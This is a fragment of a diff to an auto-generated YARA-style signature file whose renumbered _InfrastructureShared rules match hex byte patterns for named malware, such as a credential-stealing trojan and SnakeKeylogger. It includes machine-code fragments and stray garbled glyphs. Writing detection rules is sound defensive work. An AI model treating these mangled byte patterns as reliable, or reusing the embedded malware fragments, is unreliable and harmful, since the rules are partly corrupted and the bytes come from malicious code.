38 38 44 44 33 42 35 35 01 00 24 01 31 35 34 45 32 33 44 30 2d 43 36 34 34 2d 34 45 36 46 2d 38 43 45 36 2d 35 30 36 39 32 37 32 } //13617 + $a_39_7 = {01 00 24 01 34 42 46 34 43 34 34 32 2d 39 42 38 41 2d 34 31 41 30 2d 42 33 38 30 2d 44 44 34 41 37 30 34 44 44 42 32 38 01 00 24 01 37 37 42 43 35 38 32 42 2d 46 30 41 36 } //14662 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*81+(#a_00_2 & 1)*65+(#a_00_4 & 1)*99+(#a_01_5 & 1)*30720+(#a_00_6 & 1)*28261+(#a_46_7 & 1)*385) >=8 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*81+(#a_00_2 & 1)*65+(#a_00_4 & 1)*99+(#a_01_5 & 1)*30720+(#a_36_6 & 1)*13617+(#a_39_7 & 1)*14662) >=8 } -rule _InfrastructureShared_18517{ +rule _InfrastructureShared_19697{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 65 64 6f 62 6a 2e 5a 41 21 4d 54 42 00 01 00 24 01 32 46 31 41 36 35 30 34 2d 30 36 34 31 2d 34 34 43 46 2d 38 42 42 35 2d 33 36 31 32 44 38 36 35 46 32 45 35 01 } //21539 + $a_33_1 = {43 } //9216 C + $a_39_2 = {2d 38 37 41 38 2d 34 42 31 30 2d 41 32 31 35 2d 36 30 38 38 38 38 44 44 33 42 35 35 01 00 24 01 31 35 34 45 32 33 44 30 2d 43 36 34 34 2d 34 45 36 46 2d 38 } //13636 + $a_2d_3 = {30 36 39 32 37 32 46 39 39 39 46 01 00 24 01 34 42 46 34 43 34 34 32 2d 39 42 38 41 2d 34 31 41 30 2d 42 33 38 30 2d 44 44 34 41 37 30 34 44 44 42 32 38 01 00 24 } //17731 㘰㈹㈷㥆㤹ņ␀㐁䙂䌴㐴ⴲ䈹䄸㐭䄱ⴰ㍂〸䐭㑄㝁㐰䑄㉂ĸ␀ + $a_42_4 = {35 38 32 42 2d 46 30 41 36 2d 34 45 31 35 2d 34 45 38 30 2d 36 31 37 33 36 42 36 46 33 42 32 39 01 00 24 01 45 36 39 44 37 38 33 38 2d 39 31 42 35 2d 34 46 43 39 2d } //14081 + $a_35_5 = {32 33 30 44 34 44 34 43 43 32 42 43 01 00 24 01 33 45 30 45 33 35 42 45 2d 31 42 37 37 2d 34 33 45 37 2d 42 38 37 33 2d 41 45 44 39 30 31 42 36 32 37 35 42 01 00 24 01 33 43 38 38 36 46 46 33 2d 32 36 36 } //14648 + $a_41_6 = {32 2d 41 38 46 42 2d 33 46 36 37 35 39 41 37 37 35 34 38 00 00 78 6a 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 } //11577 ⴲ㡁䉆㌭㙆㔷䄹㜷㐵8砀Ūऀऀऀ℀䠣呓㩒牔橯湡场湩㈳䜯 + $a_61_7 = {65 72 2e 53 4d 4b 46 33 38 21 4d 54 42 00 01 00 11 81 01 45 66 66 65 6b 74 69 76 69 73 65 72 65 2e 50 65 6e 01 00 10 81 01 75 6e 64 65 72 6c 69 76 65 6e 65 73 2e 61 64 76 01 00 0d 81 01 5c 46 72 69 6e 67 65 62 61 61 64 65 6e 01 00 38 81 01 5c 46 72 73 74 65 62 65 68 61 6e 64 6c 69 6e 67 65 72 5c 54 79 6b 74 61 72 6d 73 75 6e 64 65 } //27765 + condition: + ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*9216+(#a_39_2 & 1)*13636+(#a_2d_3 & 1)*17731+(#a_42_4 & 1)*14081+(#a_35_5 & 1)*14648+(#a_41_6 & 1)*11577+(#a_61_7 & 1)*27765) >=8 + +} +rule _InfrastructureShared_19698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -224791,7 +239344,7 @@ rule _InfrastructureShared_18517{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29254+(#a_66_2 & 1)*24947+(#a_6c_3 & 1)*30571+(#a_31_4 & 1)*17476+(#a_73_5 & 1)*17529+(#a_7a_6 & 1)*27745+(#a_39_7 & 1)*11618+(#a_64_8 & 1)*24832) >=9 } -rule _InfrastructureShared_18518{ +rule _InfrastructureShared_19699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -224805,14 +239358,13 @@ rule _InfrastructureShared_18518{ $a_00_6 = {43 } //144 C $a_1d_7 = {5c 90 01 01 10 0f af 90 01 01 81 c6 93 01 00 01 8b 90 01 01 8b 90 01 01 c1 90 01 01 08 c1 90 01 01 10 33 90 01 01 c1 90 01 01 18 33 90 01 01 33 90 01 01 30 90 01 02 3b 90 01 01 72 cd 90 00 00 00 78 6b 01 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 45 6e 74 53 2e 53 49 42 50 32 21 4d 54 42 00 01 00 90 03 49 21 cc 49 81 f5 90 01 04 49 81 eb 90 01 04 48 89 ea 49 81 e4 90 01 04 48 89 d7 48 81 c2 90 01 04 49 81 f4 90 01 04 49 c7 c0 90 01 04 48 81 c1 90 01 04 48 8b 12 4d 21 e0 48 81 c2 90 01 04 49 81 e8 90 01 04 48 0f b7 12 49 81 cd 90 01 04 49 81 e0 90 01 04 48 81 e9 90 01 04 48 81 c9 90 01 04 49 89 ea 49 81 e3 90 01 04 49 81 cd 90 01 04 49 81 c2 90 01 04 49 81 f3 90 01 04 49 81 c0 90 01 04 49 29 } //-31997 $a_c3_8 = {01 04 4d 8b 12 90 00 01 00 a8 03 41 09 55 00 49 81 c0 90 01 04 48 81 e2 90 01 04 4c 31 de 4c 21 c1 48 c7 c3 90 01 04 49 81 c9 90 01 04 48 c1 e2 90 01 01 49 81 e1 90 01 04 49 81 f0 90 01 04 49 01 d2 48 81 e3 90 01 04 49 81 eb 90 01 04 4d 8b 2a 48 89 e9 4c 29 ce 48 81 c1 90 01 04 48 29 ce 48 8b 09 4c 21 ce 49 81 c8 90 01 04 48 c7 c7 00 00 00 00 48 81 c1 04 00 00 00 49 81 e3 90 01 04 49 } //18893 - $a_01_9 = {04 49 c7 c6 90 01 04 48 c7 c6 90 01 04 4c 63 11 48 21 cf 49 89 ec 4c 21 e3 4c 31 c6 4c 21 c6 49 81 c4 90 01 04 4d 01 14 24 41 ff e5 90 00 00 00 78 6b 01 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 4b 49 4f 41 31 32 33 21 4d 54 42 00 01 00 98 03 16 13 08 38 90 01 01 00 00 00 00 16 13 09 38 90 01 01 00 00 00 00 16 13 0a 2b 78 00 08 11 0a 11 09 6f 58 00 } //-14207 - $a_0b_10 = {16 13 0c 11 05 11 08 9a 13 0e 11 0e 13 0d 11 0d 72 90 01 } //2560 - $a_00_12 = {00 } //400 + $a_01_9 = {04 49 c7 c6 90 01 04 48 c7 c6 90 01 04 4c 63 11 48 21 cf 49 89 ec 4c 21 e3 4c 31 c6 4c 21 c6 49 81 c4 90 01 04 4d 01 14 24 41 ff e5 90 00 00 00 78 6b 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 72 65 74 63 68 65 64 43 61 74 65 72 70 69 6c 6c 61 72 2e 42 21 64 68 61 00 01 00 34 03 57 00 69 00 6e 00 44 00 72 00 75 00 6e 00 6e 00 65 00 72 00 20 00 90 01 00 46 00 6f 00 72 00 20 00 5a 00 69 } //-14207 + $a_00_12 = {90 00 01 00 45 03 5c 00 57 00 69 00 6e 00 44 00 72 00 75 00 6e 00 6e 00 65 00 72 00 5f 00 7a 00 69 00 6d 00 90 01 00 62 00 72 00 61 00 5f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 2e 00 6c 00 6f 00 67 00 90 00 01 00 6f 03 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 } //114 condition: - ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*17465+(#a_01_2 & 1)*4352+(#a_6c_3 & 1)*28005+(#a_65_4 & 1)*24940+(#a_01_5 & 1)*-191+(#a_00_6 & 1)*144+(#a_1d_7 & 1)*-31997+(#a_c3_8 & 1)*18893+(#a_01_9 & 1)*-14207+(#a_0b_10 & 1)*2560+(#a_00_12 & 1)*400) >=13 + ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*17465+(#a_01_2 & 1)*4352+(#a_6c_3 & 1)*28005+(#a_65_4 & 1)*24940+(#a_01_5 & 1)*-191+(#a_00_6 & 1)*144+(#a_1d_7 & 1)*-31997+(#a_c3_8 & 1)*18893+(#a_01_9 & 1)*-14207+(#a_00_12 & 1)*114) >=13 } -rule _InfrastructureShared_18519{ +rule _InfrastructureShared_19700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -224825,7 +239377,7 @@ rule _InfrastructureShared_18519{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-27903+(#a_01_2 & 1)*-30395+(#a_01_3 & 1)*13124) >=1 } -rule _InfrastructureShared_18520{ +rule _InfrastructureShared_19701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -224836,7 +239388,18 @@ rule _InfrastructureShared_18520{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1025) >=2 } -rule _InfrastructureShared_18521{ +rule _InfrastructureShared_19702{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 72 65 74 63 68 65 64 43 61 74 65 72 70 69 6c 6c 61 72 2e 42 21 64 68 61 00 01 00 34 03 57 00 69 00 6e 00 44 00 72 00 75 00 6e 00 6e 00 65 00 72 00 20 00 90 01 00 46 00 6f 00 72 00 20 } //16675 + $a_01_2 = {00 69 00 62 00 72 00 61 00 90 00 01 00 45 03 5c 00 57 00 69 00 6e 00 44 00 72 00 75 00 6e 00 6e 00 65 00 72 00 5f 00 7a 00 69 00 6d 00 90 01 00 62 00 72 00 61 00 5f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 2e 00 6c 00 6f 00 67 00 90 00 01 00 6f 03 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 3d 00 20 00 77 00 65 00 62 00 62 00 72 00 6f 00 77 00 73 00 65 00 72 00 5f 00 7a 00 69 00 6d 00 90 01 00 62 00 72 00 61 } //109 + condition: + ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*109) >=4 + +} +rule _InfrastructureShared_19703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -224849,7 +239412,7 @@ rule _InfrastructureShared_18521{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*5643+(#a_01_2 & 1)*10352+(#a_51_3 & 1)*-32461) >=4 } -rule _InfrastructureShared_18522{ +rule _InfrastructureShared_19704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -224862,7 +239425,7 @@ rule _InfrastructureShared_18522{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28668+(#a_40_2 & 1)*29712+(#a_24_3 & 1)*4367) >=4 } -rule _InfrastructureShared_18523{ +rule _InfrastructureShared_19705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -224875,7 +239438,7 @@ rule _InfrastructureShared_18523{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*-29880+(#a_25_2 & 1)*-29876+(#a_01_3 & 1)*-28636) >=4 } -rule _InfrastructureShared_18524{ +rule _InfrastructureShared_19706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -224890,7 +239453,7 @@ rule _InfrastructureShared_18524{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*288+(#a_20_2 & 1)*17737+(#a_00_3 & 1)*114+(#a_36_4 & 1)*26967+(#a_6f_5 & 1)*20588) >=4 } -rule _InfrastructureShared_18525{ +rule _InfrastructureShared_19707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -224904,7 +239467,7 @@ rule _InfrastructureShared_18525{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29295+(#a_61_2 & 1)*21348+(#a_45_3 & 1)*28783+(#a_63_4 & 1)*27749) >=5 } -rule _InfrastructureShared_18526{ +rule _InfrastructureShared_19708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0b 00 21 " @@ -224923,7 +239486,7 @@ rule _InfrastructureShared_18526{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27746+(#a_76_2 & 1)*24918+(#a_74_3 & 1)*297+(#a_3a_5 & 1)*19521+(#a_4c_6 & 1)*22089+(#a_72_7 & 1)*26213+(#a_8b_8 & 1)*812+(#a_48_9 & 1)*-8061+(#a_90_10 & 1)*6773) >=5 } -rule _InfrastructureShared_18527{ +rule _InfrastructureShared_19709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0c 00 21 " @@ -224941,7 +239504,7 @@ rule _InfrastructureShared_18527{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*17735+(#a_65_2 & 1)*28500+(#a_24_3 & 1)*-30392+(#a_00_4 & 1)*6+(#a_53_5 & 1)*16719+(#a_00_7 & 1)*112+(#a_00_9 & 1)*101+(#a_00_11 & 1)*115) >=5 } -rule _InfrastructureShared_18528{ +rule _InfrastructureShared_19710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -224952,7 +239515,7 @@ rule _InfrastructureShared_18528{ ((#a_41_0 & 1)*21283+(#a_00_1 & 1)*118) >=6 } -rule _InfrastructureShared_18529{ +rule _InfrastructureShared_19711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -224965,7 +239528,7 @@ rule _InfrastructureShared_18529{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_2d_3 & 1)*23085+(#a_35_4 & 1)*14848) >=6 } -rule _InfrastructureShared_18530{ +rule _InfrastructureShared_19712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -224985,7 +239548,7 @@ rule _InfrastructureShared_18530{ ((#a_46_0 & 1)*21283+(#a_73_1 & 1)*25942+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_6b_9 & 1)*0+(#a_61_10 & 1)*29249) >=11 } -rule _InfrastructureShared_18531{ +rule _InfrastructureShared_19713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -225008,7 +239571,7 @@ rule _InfrastructureShared_18531{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_2e_2 & 1)*25961+(#a_01_3 & 1)*25441+(#a_00_4 & 1)*144+(#a_2a_5 & 1)*11779+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1) >=15 } -rule _InfrastructureShared_18532{ +rule _InfrastructureShared_19714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 0c 00 21 " @@ -225029,7 +239592,7 @@ rule _InfrastructureShared_18532{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*10286+(#a_00_2 & 1)*144+(#a_2a_3 & 1)*11779+(#a_74_4 & 1)*17966+(#a_2e_5 & 1)*26977+(#a_4d_6 & 1)*20295+(#a_54_7 & 1)*16038+(#a_a6_8 & 1)*31036+(#a_8f_9 & 1)*24437+(#a_5f_10 & 1)*-1513+(#a_00_11 & 1)*31277) >=18 } -rule _InfrastructureShared_18533{ +rule _InfrastructureShared_19715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -225040,7 +239603,7 @@ rule _InfrastructureShared_18533{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*-11502) >=1 } -rule _InfrastructureShared_18534{ +rule _InfrastructureShared_19716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -225053,7 +239616,7 @@ rule _InfrastructureShared_18534{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_2d_3 & 1)*2305+(#a_5a_4 & 1)*16697) >=3 } -rule _InfrastructureShared_18535{ +rule _InfrastructureShared_19717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -225067,7 +239630,7 @@ rule _InfrastructureShared_18535{ ((#a_46_0 & 1)*16675+(#a_2c_2 & 1)*114+(#a_7a_3 & 1)*24841+(#a_2d_4 & 1)*23085+(#a_19_5 & 1)*1) >=3 } -rule _InfrastructureShared_18536{ +rule _InfrastructureShared_19718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -225080,7 +239643,7 @@ rule _InfrastructureShared_18536{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637+(#a_2c_3 & 1)*2) >=4 } -rule _InfrastructureShared_18537{ +rule _InfrastructureShared_19719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -225097,7 +239660,7 @@ rule _InfrastructureShared_18537{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28261+(#a_01_2 & 1)*30836+(#a_75_3 & 1)*8307+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1) >=4 } -rule _InfrastructureShared_18538{ +rule _InfrastructureShared_19720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -225112,7 +239675,7 @@ rule _InfrastructureShared_18538{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_76_3 & 1)*29810+(#a_2d_5 & 1)*2305+(#a_39_6 & 1)*12378) >=7 } -rule _InfrastructureShared_18539{ +rule _InfrastructureShared_19721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -225128,7 +239691,7 @@ rule _InfrastructureShared_18539{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25700+(#a_3e_2 & 1)*15934+(#a_55_3 & 1)*17223+(#a_74_4 & 1)*28238+(#a_6d_5 & 1)*28486+(#a_6d_6 & 1)*28486) >=7 } -rule _InfrastructureShared_18540{ +rule _InfrastructureShared_19722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -225144,7 +239707,7 @@ rule _InfrastructureShared_18540{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28783+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_6c_5 & 1)*0+(#a_67_6 & 1)*19488) >=7 } -rule _InfrastructureShared_18541{ +rule _InfrastructureShared_19723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -225161,7 +239724,7 @@ rule _InfrastructureShared_18541{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*19777+(#a_46_2 & 1)*21587+(#a_6f_3 & 1)*29555+(#a_44_4 & 1)*18255+(#a_65_6 & 1)*23553+(#a_6d_7 & 1)*28516+(#a_6c_8 & 1)*24946) >=9 } -rule _InfrastructureShared_18542{ +rule _InfrastructureShared_19724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -225179,7 +239742,7 @@ rule _InfrastructureShared_18542{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25449+(#a_4b_2 & 1)*-32478+(#a_64_3 & 1)*29293+(#a_75_4 & 1)*27769+(#a_65_5 & 1)*24951+(#a_69_6 & 1)*29302+(#a_25_7 & 1)*-32487+(#a_74_8 & 1)*25955) >=9 } -rule _InfrastructureShared_18543{ +rule _InfrastructureShared_19725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -225198,7 +239761,7 @@ rule _InfrastructureShared_18543{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29537+(#a_5c_2 & 1)*28532+(#a_01_3 & 1)*28257+(#a_61_4 & 1)*23653+(#a_72_5 & 1)*11877+(#a_01_6 & 1)*8960+(#a_30_7 & 1)*29541+(#a_61_8 & 1)*23605+(#a_65_9 & 1)*24948) >=10 } -rule _InfrastructureShared_18544{ +rule _InfrastructureShared_19726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -225217,7 +239780,7 @@ rule _InfrastructureShared_18544{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29806+(#a_5c_2 & 1)*25966+(#a_2e_3 & 1)*29801+(#a_66_4 & 1)*27228+(#a_00_5 & 1)*27745+(#a_6d_6 & 1)*385+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_18545{ +rule _InfrastructureShared_19727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -225235,7 +239798,7 @@ rule _InfrastructureShared_18545{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*-32460+(#a_70_2 & 1)*28784+(#a_01_3 & 1)*26996+(#a_61_4 & 1)*16988+(#a_50_5 & 1)*8192+(#a_74_6 & 1)*25962+(#a_00_7 & 1)*115+(#a_6f_8 & 1)*20481) >=10 } -rule _InfrastructureShared_18546{ +rule _InfrastructureShared_19728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -225254,7 +239817,7 @@ rule _InfrastructureShared_18546{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25970+(#a_65_2 & 1)*29301+(#a_73_3 & 1)*17005+(#a_00_5 & 1)*656+(#a_01_7 & 1)*29185+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=12 } -rule _InfrastructureShared_18547{ +rule _InfrastructureShared_19729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0d 00 21 " @@ -225272,7 +239835,7 @@ rule _InfrastructureShared_18547{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11551+(#a_65_2 & 1)*29797+(#a_31_3 & 1)*12599+(#a_4c_4 & 1)*21325+(#a_00_5 & 1)*70+(#a_00_7 & 1)*45+(#a_00_8 & 1)*50+(#a_00_11 & 1)*52) >=14 } -rule _InfrastructureShared_18548{ +rule _InfrastructureShared_19730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -225284,7 +239847,7 @@ rule _InfrastructureShared_18548{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*70+(#a_00_4 & 1)*66) >=5 } -rule _InfrastructureShared_18549{ +rule _InfrastructureShared_19731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -225299,7 +239862,7 @@ rule _InfrastructureShared_18549{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108+(#a_00_3 & 1)*97+(#a_00_5 & 1)*115+(#a_6a_6 & 1)*29268+(#a_00_7 & 1)*100) >=5 } -rule _InfrastructureShared_18550{ +rule _InfrastructureShared_19732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -225313,7 +239876,7 @@ rule _InfrastructureShared_18550{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_2 & 1)*48+(#a_00_4 & 1)*61+(#a_17_5 & 1)*4356) >=6 } -rule _InfrastructureShared_18551{ +rule _InfrastructureShared_19733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0f 00 21 " @@ -225336,7 +239899,7 @@ rule _InfrastructureShared_18551{ ((#a_63_0 & 1)*18467+(#a_6c_1 & 1)*24909+(#a_61_2 & 1)*29761+(#a_73_3 & 1)*277+(#a_33_4 & 1)*26967+(#a_28_5 & 1)*-32476+(#a_72_6 & 1)*30065+(#a_72_7 & 1)*14644+(#a_65_8 & 1)*29788+(#a_73_9 & 1)*29301+(#a_67_10 & 1)*26994+(#a_01_11 & 1)*4352+(#a_48_12 & 1)*20592+(#a_74_13 & 1)*26956) >=8 } -rule _InfrastructureShared_18552{ +rule _InfrastructureShared_19734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -225354,7 +239917,7 @@ rule _InfrastructureShared_18552{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*24937+(#a_6c_2 & 1)*18268+(#a_6e_3 & 1)*25963+(#a_75_4 & 1)*27765+(#a_6e_5 & 1)*30305+(#a_01_6 & 1)*5888+(#a_68_7 & 1)*8514+(#a_72_8 & 1)*28229) >=9 } -rule _InfrastructureShared_18553{ +rule _InfrastructureShared_19735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -225373,7 +239936,7 @@ rule _InfrastructureShared_18553{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*8302+(#a_5c_2 & 1)*29281+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_6d_5 & 1)*0+(#a_6c_6 & 1)*24944+(#a_6e_7 & 1)*30277+(#a_00_8 & 1)*112+(#a_8b_9 & 1)*2816) >=10 } -rule _InfrastructureShared_18554{ +rule _InfrastructureShared_19736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0f 00 21 " @@ -225395,7 +239958,7 @@ rule _InfrastructureShared_18554{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*2048+(#a_6f_2 & 1)*19065+(#a_6d_3 & 1)*24427+(#a_00_5 & 1)*102+(#a_01_6 & 1)*-29948+(#a_02_7 & 1)*-28533+(#a_8b_9 & 1)*2816+(#a_03_10 & 1)*513+(#a_01_11 & 1)*1+(#a_03_12 & 1)*1+(#a_01_13 & 1)*1+(#a_03_14 & 1)*1) >=10 } -rule _InfrastructureShared_18555{ +rule _InfrastructureShared_19737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 13 00 21 " @@ -225421,7 +239984,7 @@ rule _InfrastructureShared_18555{ ((#a_54_0 & 1)*18467+(#a_82_1 & 1)*29186+(#a_3c_3 & 1)*-29949+(#a_4d_4 & 1)*779+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_6d_7 & 1)*0+(#a_42_8 & 1)*25953+(#a_01_9 & 1)*26992+(#a_65_10 & 1)*29296+(#a_53_11 & 1)*11888+(#a_01_12 & 1)*3840+(#a_6d_13 & 1)*28777+(#a_72_14 & 1)*28773+(#a_74_15 & 1)*16991+(#a_88_16 & 1)*26214+(#a_00_17 & 1)*101) >=11 } -rule _InfrastructureShared_18556{ +rule _InfrastructureShared_19738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -225440,7 +240003,7 @@ rule _InfrastructureShared_18556{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*12645+(#a_01_2 & 1)*25972+(#a_74_3 & 1)*25924+(#a_00_4 & 1)*25959+(#a_6e_5 & 1)*18549+(#a_2e_6 & 1)*27000+(#a_70_8 & 1)*384+(#a_61_9 & 1)*29801+(#a_ff_11 & 1)*-171) >=12 } -rule _InfrastructureShared_18557{ +rule _InfrastructureShared_19739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0e 00 21 " @@ -225462,7 +240025,7 @@ rule _InfrastructureShared_18557{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29816+(#a_65_2 & 1)*25902+(#a_65_3 & 1)*29295+(#a_3a_4 & 1)*12889+(#a_66_5 & 1)*-52+(#a_cc_6 & 